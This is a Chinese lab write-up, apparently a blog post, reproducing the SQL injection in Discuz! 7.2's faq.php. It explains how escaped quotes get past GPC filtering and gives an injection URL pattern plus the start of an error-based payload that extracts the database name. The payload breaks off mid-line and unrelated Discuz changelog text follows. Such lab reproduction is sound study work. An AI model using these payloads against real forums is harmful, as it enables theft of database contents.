Discuz!7.2 SQL注入复现实验

0x01 实验准备

实验原理:

Discuz7.2 SQL注入漏洞利用PHP特性突破GPC,形成SQL注入漏洞。

实验工具:

UCenter+Discuz 7.2安装包

实验环境:
  1. 安装 Discuz 网站的服务器(Windows)
  2. 安装 python 环境的攻击机

0x01 实验步骤

一、搭建环境
1. 安装UCenter

通过 http://192.168.88.129/dz7.2/upload/install/index.php 页面安装:
在这里插入图片描述
出现错误:
在这里插入图片描述
将UCenter文件放置在dz7.2文件夹下,访问http://192.168.88.129/dz7.2/UCenter/upload/install/index.php:
在这里插入图片描述
安装UCenter成功:
在这里插入图片描述

2. 安装Discuz

通过 UCenter 页面安装Discuz:
在这里插入图片描述
根据实际情况填写数据库等信息后,安装成功会自动跳转:
在这里插入图片描述

二、SQL注入漏洞复现
1. 漏洞形成原因

代码:
faq.php文件在 upload 文件夹下:

$query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {
     
     $tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");

discuz在全局会对GET数组进行addslashes转义,会将 ’ 转义成 ’ 。
当传入的参数是:gids[1]=' ,会被转义成 gids[1]=\'

$groupids = array();
foreach($gids as $row) {
   
   
	$groupids[] = $row[0];
}

赋值语句 $groupids[] = $row[0] 就相当于取了字符串的第一个字符
\,所以把转义符号取出来了。

function implodeids($array) {
   
   
	if(!empty($array)) {
   
   
		return "'".implode("','", is_array($array) ? $array : array($array))."'";
	} else {
   
   
		return '';
	}
}
此函数在 \include\global.func.php

将数据放入sql语句前,用 implodeids 处理过一次。implodeids函数是将$groupids数组用','分割开,组成一个类似于 ‘1’,‘2’,‘3’,‘4’ 的字符串返回。
由于刚取出一个转义符,会将正常的 ' 转义后为:'1','\','3','4'
第4个单引号被转义了,所以第5个单引号和第3个单引号形成了闭合。位置3就等于逃逸成功,形成注入。
通过提交 faq.php?gids[uid1]='&gids[uid2][0]=evilcode ,这样的构造形式语句可以突破GPC或类似的安全处理,形成SQL注入漏洞。
注意:uid1和uid2 > 网站注册用户iduid1与uid2不能相等

2.漏洞利用

(1)查询当前数据库/MySQL用户信息:

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat(database(),floor(rand(
Discuz! 7.2版本充分听取了来自社区运营一线的想法和需求,增加和改进30余处与社区门户运营密切相关的功能与细节。为了把握当前主流社区产品的应用趋势,满足 地方及垂直社区门户化、规模化发展的应用需求,康盛创想官方开发团队通过需求调研和走访交流,与全国各地数千名站长面对面的对话与沟通,在Discuz! 7.1版本的基础之上完成了产品的升级换代,实现了当前站长需求最迫切的数十项产品功能。 Discuz! 7.2  Changelog 20100110 更新内容: 修版本存在的重要安全问题 修版本中存在的其他使用 bug Discuz! 7.2  Changelog 20091126 更新列表: 修正 静态化URL导致多版块置顶不正常 修正 个人资料页语言包缺失 修正 无权限登陆缺少email选项 修正 版块绑定域名后去不掉 修正 图章管理撤销问题 修正 默认分类项目显示bug 修正 升级时非cdb_表前缀问题 修正 默认feeds数据的错误 修正 辩论帖用户头像重的问题 修正 分类信息建表字符集问题 修正 分类信息列表调整 修正 升级文件分类信息问题 修正 版主用户报告页面IE6下不能提交删除 修正 附件列表中判断媒体文件扩展名不区分大小写 修正 收费附件直接下载判断 修正 后台指删帖减积分时各版块积分设置优先 修正 utf-8版中活动帖导出excel乱码问题 修正 边栏 Warning错误 新增 去掉特殊主题的帖内广告限制 新增 版块设置制加入主题分类设置 Discuz! 7.2 Release 20101020 补丁包 修补办法: 下载并解压缩文件,上传文件到论坛根目录,覆盖原来的文件即可 问题修: 后台安全BUG。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值